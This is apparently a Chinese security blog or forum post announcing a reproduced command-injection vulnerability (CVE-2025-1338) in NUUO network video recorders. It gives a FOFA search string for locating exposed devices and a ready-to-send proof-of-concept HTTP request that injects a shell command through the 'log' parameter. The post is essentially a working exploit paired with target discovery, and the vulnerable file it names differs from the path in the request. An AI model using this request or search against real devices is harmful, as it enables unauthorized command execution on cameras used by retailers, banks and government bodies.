【成功复现】NUUO Camera远程命令执行漏洞(CVE-2025-1338)

昨天发布

620

NUUO摄像头‌是由中国台湾省NUUO公司生产的一款网络视频录像机（Network Video Recorder，简称NVR），广泛应用于零售、交通、教育、政府和银行等多个领域。

NUUO Camera 20250203及之前版本存在注入漏洞，该漏洞源于/handle_config.php的print_file函数中，参数log存在命令注入。

FOfa：

FOFA：title="Network Video Recorder Login "

POC：

GET /__debugging_center_utils___.php?log=;id HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

评分

欢迎为Ta评分